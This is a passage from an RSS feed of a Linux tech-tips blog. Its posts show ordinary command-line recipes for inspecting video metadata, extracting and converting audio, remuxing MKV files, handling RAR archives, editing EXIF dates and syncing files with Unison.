Audio is compliant with the following formats:<br />
  Not compliant with (S)VCD or DVD<br />
Video is compliant with the following formats:<br />
  Not compliant with (S)VCD or DVD<br />
This video does not seem to be compliant with (S)VCD or DVD<br />
standards. If you burn it to a video disc, it may not work.<br />
=========================================================</code></p></blockquote>
<p>Finally, another tool that works very well is <code><em>exiftool</em></code>.  It&#8217;s available in the <code><em>libimage-exiftool-perl</em></code> package.  The output is also very straight forward, and easy to interpret.  It&#8217;s also a lot faster than <code><em>idvid</em></code> because the tool only displays metadata, which in some cases can be misleading.  <code><em>Mplayer</em></code> and <code><em>tovid</em></code> actually probe the video, providing very accurate information at the cost of speed.</p>
<blockquote><p><code><strong>exiftool video.wmv</strong><br />
ExifTool Version Number         : 7.30<br />
File Name                       : video.wmv<br />
Directory                       : .<br />
File Modification Date/Time     : 2009:04:20 09:21:58<br />
File Type                       : WMV<br />
MIME Type                       : video/x-ms-wmv<br />
File ID                         : 12341234-1234-1234-1234-123412341234<br />
File Size                       : 823200182<br />
Creation Date                   : 2009:03:31 02:52:55Z<br />
Data Packets                    : 102833<br />
Play Duration                   : 35:16<br />
Send Duration                   : 35:13<br />
Preroll                         : 3000<br />
Flags                           : 2<br />
Min Packet Size                 : 8000<br />
Max Packet Size                 : 8000<br />
Max Bitrate                     : 3122812<br />
Is VBR                          : False<br />
Audio Codec Name                : Windows Media Audio 9.2<br />
Audio Codec Description         :  96 kbps, 44 kHz, stereo 1-pass CBR<br />
Video Codec Name                : Windows Media Video 9<br />
Video Codec Description         : Professional<br />
Audio Codec ID                  : Windows Media Audio V2 V7 V8 V9 / DivX audio (WMA) / Alex AC3 Audio<br />
Audio Channels                  : 2<br />
Audio Sample Rate               : 44100<br />
Stream Type                     : Video<br />
Error Correction Type           : No Error Correction<br />
Time Offset                     : 0 s<br />
Stream Number                   : 2<br />
Image Width                     : 1280<br />
Image Height                    : 720<br />
Title                           :<br />
Author                          :<br />
Copyright                       :<br />
Description                     :<br />
Rating                          :<br />
Image Size                      : 1280x720</code></p></blockquote>
<p>As always, comments and additional tips are welcome!</p>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-mplayer/' rel='bookmark' title='Extract Audio from Video Files to WAV using Mplayer'>Extract Audio from Video Files to WAV using Mplayer</a></li>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
<li><a href='http://savvyadmin.com/adding-chapters-to-videos-using-mkv-containers/' rel='bookmark' title='Adding Chapters to Videos Using MKV Containers'>Adding Chapters to Videos Using MKV Containers</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/quickly-identify-video-file-attributes/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Extract Audio from Video Files to WAV using Mplayer</title>
		<link>http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-mplayer/</link>
		<comments>http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-mplayer/#comments</comments>
		<pubDate>Sun, 11 Oct 2009 20:24:09 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Audio]]></category>
		<category><![CDATA[mplayer]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=424</guid>
		<description><![CDATA[You can extract the audio from a video file using mplayer and save the result to a WAV file, which you can then manipulate to your hearts content. For example, you may want to compress the audio to a stereo MP3 or OGG. The following command instruct that the audio output (-ao) should be redirected [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
<li><a href='http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/' rel='bookmark' title='Add Stereo Audio Tracks to MKV Files'>Add Stereo Audio Tracks to MKV Files</a></li>
<li><a href='http://savvyadmin.com/quickly-identify-video-file-attributes/' rel='bookmark' title='Quickly Identify Video File Attributes'>Quickly Identify Video File Attributes</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>You can extract the audio from a video file using mplayer and save the result to a WAV file, which you can then manipulate to your hearts content.  For example, you may want to compress the audio to a stereo MP3 or OGG.</p>
<p>The following command instruct that the audio output (-ao) should be redirected out to a PCM WAV file as fast as possible, while suppressing all video output.</p>
<blockquote><p><code><strong>mplayer -ao pcm:fast:file=audio.wav -vo null -vc null video.avi</strong></code></p></blockquote>
<p>Convert the resulting WAV to MP3.  The following is a great way to convert your WAV files to a high quality Variable Bitrate MP3.  See the man page for a decent tutorial on the available options.</p>
<blockquote><p><code><strong>lame -V0 -q0 --vbr-new audio.wav audio.mp3</strong></code></p></blockquote>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
<li><a href='http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/' rel='bookmark' title='Add Stereo Audio Tracks to MKV Files'>Add Stereo Audio Tracks to MKV Files</a></li>
<li><a href='http://savvyadmin.com/quickly-identify-video-file-attributes/' rel='bookmark' title='Quickly Identify Video File Attributes'>Quickly Identify Video File Attributes</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-mplayer/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Add Stereo Audio Tracks to MKV Files</title>
		<link>http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/</link>
		<comments>http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/#comments</comments>
		<pubDate>Sat, 26 Sep 2009 22:33:50 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[AC3]]></category>
		<category><![CDATA[Audio]]></category>
		<category><![CDATA[Dolby Digital]]></category>
		<category><![CDATA[FFMpeg]]></category>
		<category><![CDATA[LAME]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Matroska]]></category>
		<category><![CDATA[MKV]]></category>
		<category><![CDATA[mplayer]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=403</guid>
		<description><![CDATA[If you have Matroska Video (MKV) files encoded with AC3 Dolby Digital 5.1 or DTS audio tracks, you may want to simply extract the audio, convert it to a 2-channel stereo format like WAV, MP3 OGG, etc, and then add it back into the MKV as a separate audio track. This is useful when your [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
<li><a href='http://savvyadmin.com/extract-ac3-dolby-digital-with-ffmpeg/' rel='bookmark' title='Extract AC3 Dolby Digital with FFMpeg'>Extract AC3 Dolby Digital with FFMpeg</a></li>
<li><a href='http://savvyadmin.com/adding-chapters-to-videos-using-mkv-containers/' rel='bookmark' title='Adding Chapters to Videos Using MKV Containers'>Adding Chapters to Videos Using MKV Containers</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you have <a href="http://www.matroska.org" target="_blank">Matroska Video (MKV) files</a> encoded with AC3 Dolby Digital 5.1 or DTS audio tracks, you may want to simply extract the audio, convert it to a 2-channel stereo format like WAV, MP3 OGG, etc, and then add it back into the MKV as a separate audio track.  This is useful when your media player (e.g. <a href="http://www.westerndigital.com/en/products/products.asp?driveid=572">Western Digital Media Player WDAVN00</a>) will not downscale the audio from a digital format like AC3 or DTS to stereo when you don&#8217;t have a receiver or TV with a built in Dolby Digital decoder.  Now you&#8217;ll have the choice of either audio format depending on your technical requirements.</p>
<p>The great thing about the <a href="http://www.matroska.org/">Matroska multimedia container</a> is that you can easily manipulate these files without having to re-encode, saving lots of time.  I&#8217;ll be using <strong><em>mkvextract</em></strong> to extract the AC3 audio, <strong><em>ffmpeg</em></strong> to convert ac3 to mp3, and finally <strong><em>mkvmerge</em></strong> to add and remux the new audio track to the MKV container.  All of these are available to a number of platforms, but in my examples, I&#8217;m using Linux.  Check out the <a href="http://www.bunkus.org/videotools/mkvtoolnix/" target="_blank">MKVToolnix</a> and <a href="http://ffmpeg.org/" target="_blank">FFMpeg</a> websites for more info on the software.</p>
<p>If using Ubuntu Linux, install the relevant <strong><em>mkvtoolnix</em></strong>,  <em><strong>mkvtoolnix-gui</strong> </em>and <strong><em>ffmpeg</em></strong> packages.</p>
<blockquote><p><code><strong>sudo apt-get install mkvtoolnix mkvtoolnix-gui ffmpeg libavcodec-unstripped-52</strong></code></p></blockquote>
<p>To view the existing tracks of the MKV, use the <em>mkvmerge -i</em> option.  In the following example, you see my &#8220;<strong>Cool.Video.mkv</strong>&#8221; file has an MPEG4 video in track 1, an AC3 Dolby Digital audio file in track 2, and subtitles in track 3.</p>
<blockquote><p><code><strong>mkvmerge -i Cool.Movie.mkv </strong><br />
File 'Cool.Movie.mkv': container: Matroska<br />
Track ID 1: video (V_MPEG4/ISO/AVC)<br />
Track ID 2: audio (A_AC3)<br />
Track ID 3: subtitles (S_TEXT/UTF8)</code></p></blockquote>
<p>Using <em>mkvextract</em>, extract the AC3 Dolby Digital audio from track 2, saving it to a file called audio.ac3.</p>
<blockquote><p><code><strong>mkvextract tracks Cool.Movie.mkv 2:audio.ac3</strong><br />
Extracting track 2 with the CodecID 'A_AC3' to the file 'audio.ac3'. Container format: Dolby Digital (AC3)<br />
Progress: 100%</code></p>
<p><code><strong>ls -lh audio.ac3</strong><br />
-rw-r--r-- 1 gmendoza gmendoza 432M 2009-09-26 11:58 audio.ac3</code></p></blockquote>
<p>Convert the 6-channel ac3 file to a 2-channel stereo MP3 using <em>ffmpeg</em>.  If you prefer a higher audio bitrate, adjust the -ab value as desired.  e.g. 256, 384, etc, and adjust the audio rate to your liking as well.</p>
<blockquote><p><code><strong>ffmpeg -i audio.ac3 -acodec libmp3lame -ab 160k -ac 2 audio.mp3</strong><br />
[output omitted for brevity]</code></p>
<p><code><strong>ls -lh audio.*</strong><br />
-rw-r--r-- 1 gmendoza gmendoza 432M 2009-09-26 11:58 audio.ac3<br />
-rw-r--r-- 1 gmendoza gmendoza  87M 2009-09-26 12:08 audio.mp3</code></p></blockquote>
<p>To simplify things, you could actually skip the digital format extraction process by running ffmpeg against the MKV file directly.</p>
<blockquote><p><code><strong>ffmpeg -i Cool.Movie.mkv -acodec libmp3lame -ab 160k -ac 2 audio.mp3</strong></code></p></blockquote>
<p>If you prefer encoding with more advanced options, you could extract the audio as a 2-channel WAV file instead, and then process it with LAME, Oggenc, or some other encoder of your choosing.  The following shows the extraction to WAV, and then conversion to various formats for fun, e.g. MP3, OGG, and FLAC.</p>
<blockquote><p><code><strong>ffmpeg -i Cool.Movie.mkv -acodec pcm_s16le -ac 2 audio.wav<br />
lame -V0 -q0 --vbr-new audio.wav audio.mp3<br />
oggenc -q6 audio.wav<br />
flac audio.wav</strong></code></p></blockquote>
<p>Use <em>mkvmerge</em> to combine the original MKV with the MP3 audio track to create a new file called Cool.Movie.New.mkv.  Make sure you have enough disk space for both the original and new MKV file.</p>
<blockquote><p><code><strong>mkvmerge -o Cool.Movie.New.mkv Cool.Movie.mkv audio.mp3</strong><br />
mkvmerge v2.4.1 ('Use Me') built on Dec 13 2008 21:03:46<br />
'Cool.Movie.mkv': Using the Matroska demultiplexer.<br />
'audio.mp3': Using the MP2/MP3 demultiplexer.<br />
Warning: 'audio.mp3': Skipping 32 bytes at the beginning (no valid MP3 header found).<br />
'Cool.Movie.mkv' track 1: Using the MPEG-4 part 10 (AVC) video output module.<br />
'Cool.Movie.mkv' track 2: Using the AC3 output module.<br />
'Cool.Movie.mkv' track 3: Using the text subtitle output module.<br />
'audio.mp3' track 0: Using the MPEG audio output module.<br />
The file 'Cool.Movie.New.mkv' has been opened for writing.<br />
Progress: 100%<br />
The cue entries (the index) are being written...<br />
Muxing took 270 seconds.</code></p></blockquote>
<p>Verify that the audio track has been added.  You can see Track ID 4 has been successfully added.</p>
<blockquote><p><code><strong>mkvmerge -i New.Cool.Movie.mkv </strong><br />
File 'New.Cool.Movie.mkv': container: Matroska<br />
Track ID 1: video (V_MPEG4/ISO/AVC)<br />
Track ID 2: audio (A_AC3)<br />
Track ID 3: subtitles (S_TEXT/UTF8)<br />
Track ID 4: audio (A_MPEG/L3)</code></p></blockquote>
<p>That&#8217;s really all there is to it.  There are quite a few options available when editing MKV container files.  For example, I wanted nice descriptions for my tracks since various media players will read and display them for you during menu navigation.  I recommend using the mkvmerge gui application as shown in this screenshot.</p>
<p style="text-align: center;"><a href="http://www.savvyadmin.com/wp-content/uploads/2009/09/mkvmerge-gui.png" target="_blank"><img class="aligncenter size-medium wp-image-410" title="mkvmerge-gui" src="http://www.savvyadmin.com/wp-content/uploads/2009/09/mkvmerge-gui-300x175.png" alt="mkvmerge-gui" width="300" height="175" /></a></p>
<p>It&#8217;s really just a front-end application to mkvmerge, and the following text shows the commands that were used to specify the language for each tag, re-order the audio tracks, disable subtitles by default, and give useful descriptions to each Track ID.</p>
<blockquote><p><code><strong>mkvmerge -o "Cool.Movie.New.mkv"  \<br />
--language 1:eng \<br />
--track-name "1:Cool Movie (MPEG4)" \<br />
--default-track 1:yes \<br />
--display-dimensions 1:40x17 \<br />
--language 2:eng \<br />
--track-name "2:Dolby Digital 5.1 (AC3)" \<br />
--default-track 2:yes \<br />
--language 3:eng \<br />
--track-name "3:English Subtitles" \<br />
--default-track 3:no \<br />
-a 2 -d 1 -s 3 Cool.Movie.mkv \<br />
--language 0:eng \<br />
--track-name "0:2-Channel Stereo (MP3)" \<br />
--default-track 0:no \<br />
-a 0 -D -S audio.mp3 \<br />
--track-order 0:1,0:2,1:0,0:3</strong></code></p>
<p><code><strong>mkvmerge -i Cool.Movie.New.mkv</strong><br />
File 'Cool.Movie.New.mkv': container: Matroska<br />
Track ID 1: video (V_MPEG4/ISO/AVC)<br />
Track ID 2: audio (A_AC3)<br />
Track ID 3: audio (A_MPEG/L3)<br />
Track ID 4: subtitles (S_TEXT/UTF8)</code></p></blockquote>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
<li><a href='http://savvyadmin.com/extract-ac3-dolby-digital-with-ffmpeg/' rel='bookmark' title='Extract AC3 Dolby Digital with FFMpeg'>Extract AC3 Dolby Digital with FFMpeg</a></li>
<li><a href='http://savvyadmin.com/adding-chapters-to-videos-using-mkv-containers/' rel='bookmark' title='Adding Chapters to Videos Using MKV Containers'>Adding Chapters to Videos Using MKV Containers</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>RAR and UNRAR from Linux CLI</title>
		<link>http://savvyadmin.com/rar-and-unrar-from-linux-cli/</link>
		<comments>http://savvyadmin.com/rar-and-unrar-from-linux-cli/#comments</comments>
		<pubDate>Wed, 23 Sep 2009 18:09:48 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[compression]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=393</guid>
		<description><![CDATA[Two great packages available to the Linux community are RAR and UNRAR. If you are already familiar with the RAR compression format, these allow you to create, modify and extract RAR archives. For those of you that appreciate the graphical compression application for Gnome called File Roller, these packages enable it to read RAR files. [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/symmetric-key-encryption-with-gnupg/' rel='bookmark' title='Symmetric Key Encryption with GnuPG'>Symmetric Key Encryption with GnuPG</a></li>
<li><a href='http://savvyadmin.com/quickly-identify-video-file-attributes/' rel='bookmark' title='Quickly Identify Video File Attributes'>Quickly Identify Video File Attributes</a></li>
<li><a href='http://savvyadmin.com/fixing-dates-in-image-exif-tag-data-from-linux/' rel='bookmark' title='Fixing Dates in Image EXIF Tag Data from Linux'>Fixing Dates in Image EXIF Tag Data from Linux</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Two great packages available to the Linux community are RAR and UNRAR.  If you are already familiar with the RAR compression format, these allow you to create, modify and extract RAR archives.  For those of you that appreciate the graphical compression application for Gnome called File Roller, these packages enable it to read RAR files.  For more information about the RAR format, check out <a href="http://www.rarsoft.com/rar_file.htm" target="_blank">rarsoft.com</a>.</p>
<p>To install from Ubuntu or Debian, its as simple as:</p>
<blockquote><p><strong><code>sudo apt-get install rar unrar</code></strong></p></blockquote>
<p>To list the files in a RAR archive, use the l or v option:</p>
<blockquote><p><strong><code>rar l video.rar</code></strong></p></blockquote>
<p>To decompress a RAR archive called video.rar, simply issue the command:</p>
<blockquote><p><strong><code>unrar e video.rar</code></strong></p></blockquote>
<p>The unrar package is only intended for decompression tasks.  Otherwise, just use the rar command with the e option to extract the files to the current directory.</p>
<blockquote><p><strong><code>rar e video.rar</code></strong></p></blockquote>
<p>To compress a single file called video.avi, adding it to a RAR file called video.rar:</p>
<blockquote><p><strong><code>rar a video.rar video.avi</code></strong></p></blockquote>
<p>To compress a single file called video.avi, splitting it into approximately 50 Mb files:</p>
<blockquote><p><strong><code>rar a -v50000 video.rar video.avi</code></strong></p></blockquote>
<p>This by default creates archive files starting with video.part01.rar, video.part02.rar and following the sequence to completion.  To use the older and better known extension sequence format of .rar, .r00, .r01, etc, use the -vn option like so:</p>
<blockquote><p><strong><code>rar a -v50000 -vn video.rar video.avi</code></strong></p></blockquote>
<p>To compress an entire directory recursively, use the -r option:</p>
<blockquote><p><strong><code>rar a -r Documents.rar Documents/</code></strong></p></blockquote>
<p>To extract the files from an archive, such that the original directory structure is also recreated, use the x command:</p>
<blockquote><p><strong><code>rar x Documents.rar</code></strong></p></blockquote>
<p>There are so many other features available to the RAR format, so be sure to check out the man pages or the packaged documentation.</p>
<blockquote><p><strong><code>man rar<br />
less /usr/share/doc/rar/rar.txt.gz</code></strong></p></blockquote>
<p>(if your version of less supports reading of compressed files)</p>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/symmetric-key-encryption-with-gnupg/' rel='bookmark' title='Symmetric Key Encryption with GnuPG'>Symmetric Key Encryption with GnuPG</a></li>
<li><a href='http://savvyadmin.com/quickly-identify-video-file-attributes/' rel='bookmark' title='Quickly Identify Video File Attributes'>Quickly Identify Video File Attributes</a></li>
<li><a href='http://savvyadmin.com/fixing-dates-in-image-exif-tag-data-from-linux/' rel='bookmark' title='Fixing Dates in Image EXIF Tag Data from Linux'>Fixing Dates in Image EXIF Tag Data from Linux</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/rar-and-unrar-from-linux-cli/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fixing Dates in Image EXIF Tag Data from Linux</title>
		<link>http://savvyadmin.com/fixing-dates-in-image-exif-tag-data-from-linux/</link>
		<comments>http://savvyadmin.com/fixing-dates-in-image-exif-tag-data-from-linux/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 06:11:51 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[EXIF]]></category>
		<category><![CDATA[Graphics]]></category>
		<category><![CDATA[JPEG]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=378</guid>
		<description><![CDATA[I recently needed to organize a large number of old digital photos that had the wrong date embedded in their EXIF tag data. The camera I used many years ago would often lose track of time and would sometimes be set to the wrong year. Applications I now use to organize photos read this data [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/quickly-identify-video-file-attributes/' rel='bookmark' title='Quickly Identify Video File Attributes'>Quickly Identify Video File Attributes</a></li>
<li><a href='http://savvyadmin.com/resize-and-watermark-images-in-linux/' rel='bookmark' title='Resize and Watermark Images in Linux'>Resize and Watermark Images in Linux</a></li>
<li><a href='http://savvyadmin.com/rar-and-unrar-from-linux-cli/' rel='bookmark' title='RAR and UNRAR from Linux CLI'>RAR and UNRAR from Linux CLI</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>I recently needed to organize a large number of old digital photos that had the wrong date embedded in their EXIF tag data.  The camera I used many years ago would often lose track of time and would sometimes be set to the wrong year.  Applications I now use to organize photos read this data and made my albums difficult to navigate.  I came across a Linux command line utility called <a title="jhead website" href="http://www.sentex.net/~mwandel/jhead/" target="_blank"><em>jhead</em></a> that allows you to modify this information to whatever you wish, and its easy to use in scripts as well.  Installing was easy, because it&#8217;s currently in most repositories, including Ubuntu&#8217;s.</p>
<p>To read existing EXIF tag data, simply run jhead against an image without any options.  As you can see from the example below, my date is set to the year 2022.</p>
<blockquote><p><code><strong>jhead image.jpg </strong><br />
File name    : image.jpg<br />
File size    : 159390 bytes<br />
File date    : 2004:01:12 07:35:23<br />
Camera make  : Samsung<br />
Camera model : Digimax 200<br />
<em><strong>Date/Time    : 2022:02:12 04:04:17</strong></em><br />
Resolution   : 800 x 600<br />
Flash used   : Yes<br />
Exposure time: 0.045 s  (1/22)<br />
Aperture     : f/2.8</code></p></blockquote>
<p>To clear all EXIF data from the file, use the <em><strong>-de</strong></em> option.  Then recreate the EXIF fields with the <em><strong>-mkexif</strong></em> option, and check the data again.  Notice the new Date/Time is set to the timestamp on the file.</p>
<blockquote><p><code><strong>jhead -de image.jpg</strong><br />
Modified: image.jpg</code></p>
<p><code><strong>jhead -mkexif image.jpg</strong><br />
Modified: image.jpg</code></p>
<p><code><strong>jhead image.jpg </strong><br />
File name    : image.jpg<br />
File size    : 147751 bytes<br />
File date    : 2004:01:12 07:35:23<br />
Date/Time    : 2004:01:12 07:35:23<br />
Resolution   : 800 x 600</code></p></blockquote>
<p>To change the entire timestamp manually, use the <em><strong>-ts</strong></em> option.  Notice, there is no space between the <em><strong>-ts</strong></em> and the option.  I could not trust the month and day, so I simply chaged the date to midnight on January 1, 2003.</p>
<blockquote><p><code><strong>jhead -ts2003:01:01-00:00:00 image.jpg</strong><br />
Modified: image.jpg</code></p>
<p><code><strong>jhead image.jpg</strong><br />
File name    : image.jpg<br />
File size    : 147751 bytes<br />
File date    : 2004:01:12 07:35:23<br />
Date/Time    : 2003:01:01 00:00:00<br />
Resolution   : 800 x 600</code></p></blockquote>
<p>For many more options, check out the man page or visit the <a title="jhead website" href="http://www.sentex.net/~mwandel/jhead/" target="_blank">jhead</a> site for more info.</p>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/quickly-identify-video-file-attributes/' rel='bookmark' title='Quickly Identify Video File Attributes'>Quickly Identify Video File Attributes</a></li>
<li><a href='http://savvyadmin.com/resize-and-watermark-images-in-linux/' rel='bookmark' title='Resize and Watermark Images in Linux'>Resize and Watermark Images in Linux</a></li>
<li><a href='http://savvyadmin.com/rar-and-unrar-from-linux-cli/' rel='bookmark' title='RAR and UNRAR from Linux CLI'>RAR and UNRAR from Linux CLI</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/fixing-dates-in-image-exif-tag-data-from-linux/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Convert MKV to Xvid with Mencoder</title>
		<link>http://savvyadmin.com/convert-mkv-to-xvid-with-mencoder/</link>
		<comments>http://savvyadmin.com/convert-mkv-to-xvid-with-mencoder/#comments</comments>
		<pubDate>Fri, 10 Apr 2009 01:57:54 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[AC3]]></category>
		<category><![CDATA[Dolby Digital]]></category>
		<category><![CDATA[mencoder]]></category>
		<category><![CDATA[MKV]]></category>
		<category><![CDATA[mplayer]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Xvid]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=329</guid>
		<description><![CDATA[I recently wanted to convert some of my 720p and 1080p Matroska Video (MKV) files to the Xvid format so that I can play them on my Xbox 360 (check out ushare). I really wanted to make sure that the video quality and Dolby Digital 5.1 audio would remain intact, and was pleased to get [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/dvd-to-xvid-encoding-with-mencoder/' rel='bookmark' title='DVD to XviD Encoding with Mencoder'>DVD to XviD Encoding with Mencoder</a></li>
<li><a href='http://savvyadmin.com/using-mencoder-profiles/' rel='bookmark' title='Using Mencoder Profiles'>Using Mencoder Profiles</a></li>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>I recently wanted to convert some of my 720p and 1080p Matroska Video (MKV) files to the Xvid format so that I can play them on my Xbox 360 (check out <a target="_blank" href="http://ushare.geexbox.org/">ushare</a>).  I really wanted to make sure that the video quality and Dolby Digital 5.1 audio would remain intact, and was pleased to get the job done with mencoder.</p>
<p>In the following example, I decided to use a single pass, fixed quantizer value of 4.  The audio will simply be copied.</p>
<blockquote><p><code><strong>mencoder movie.mkv -channels 6 -ovc xvid -xvidencopts fixed_quant=4 \<br />
-vf harddup -oac copy -o movie.avi</strong></code></p></blockquote>
<p>The Dolby Digital 5.1 (AC3) output was a major pain to figure out because by default, mencoder (and mplayer) only will select 2 audio channels.  So increasing the value to 6 ensures you receive them all.  Otherwise, you end up getting standard stereo out all channels.</p>
<p>There&#8217;s a ton of options that you can use, so just be sure to read the man pages for mencoder.</p>
<p><strong>NOTE 1:</strong>  This is not an exhaustive or definitive post on quality retention.  This is just an easy way to re-encode a source video file to Xvid.</p>
<p><strong>NOTE 2:</strong> MKV is only a container file format, meaning that you store audio and video tracks within an MKV file, as well as a number of other data types.  e.g. Subtitles, Pictures, Fonts, etc.  Many times, these video and audio tracks may already have been encoded with a codec supported by your media player.  You could potentially extract the appropriate audio and video tracks with mkvextract (a component of the mkvtoolnix package), and recombine them into a container format supported by your platform.  This is a great option because you would not have to re-encode, saving time and quality loss.  I&#8217;ll update with more examples later.</p>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/dvd-to-xvid-encoding-with-mencoder/' rel='bookmark' title='DVD to XviD Encoding with Mencoder'>DVD to XviD Encoding with Mencoder</a></li>
<li><a href='http://savvyadmin.com/using-mencoder-profiles/' rel='bookmark' title='Using Mencoder Profiles'>Using Mencoder Profiles</a></li>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/convert-mkv-to-xvid-with-mencoder/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>File Synchronization with Unison over SSH</title>
		<link>http://savvyadmin.com/file-synchronization-with-unison-over-ssh/</link>
		<comments>http://savvyadmin.com/file-synchronization-with-unison-over-ssh/#comments</comments>
		<pubDate>Fri, 10 Apr 2009 01:36:25 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Backup]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Rsync]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[Unison]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=318</guid>
		<description><![CDATA[Previously, I posted on using rsync over SSH for file synchronization. While this works very well when pushing data in one direction, it&#8217;s not well suited for synchronizing modifications that are made on both sides. An excellent bidirectional utility for that type of job is Unison, which sports many of the same benefits as rsync, [...]
Related posts:<ol>
<li><a href='http://savvyadmin.com/file-synchronization-with-rsync-over-ssh/' rel='bookmark' title='File Synchronization with Rsync over SSH'>File Synchronization with Rsync over SSH</a></li>
<li><a href='http://savvyadmin.com/backup-delivery-via-ssh/' rel='bookmark' title='Backup Delivery via SSH'>Backup Delivery via SSH</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Previously, I <a target="_blank" href="/file-synchronization-with-rsync-over-ssh/">posted</a> on using <em>rsync</em> over SSH for file synchronization.  While this works very well when pushing data in one direction, it&#8217;s not well suited for synchronizing modifications that are made on both sides.  An excellent bidirectional utility for that type of job is <em><a target="_blank" href="http://www.cis.upenn.edu/~bcpierce/unison/index.html">Unison</a></em>, which sports many of the same benefits as rsync, but has some distinct advantages for more complex synchronization scenarios.</p>
<p>A basic example would be to synchronize a local directory called &#8220;<em>MyDocs</em>&#8221; with a remote SSH server.  From the following output, you can see that this directory contains four text files.</p>
<blockquote><p><code><strong>ls -ld ~/MyDocs</strong><br />
drwxr-xr-x 2 gmendoza gmendoza 4096 2009-04-09 16:05 /home/gmendoza/MyDocs</code></p>
<p><code><strong>ls -l ~/MyDocs</strong><br />
total 12<br />
-rw-r--r-- 1 gmendoza gmendoza 31 2009-04-09 16:09 file1.txt<br />
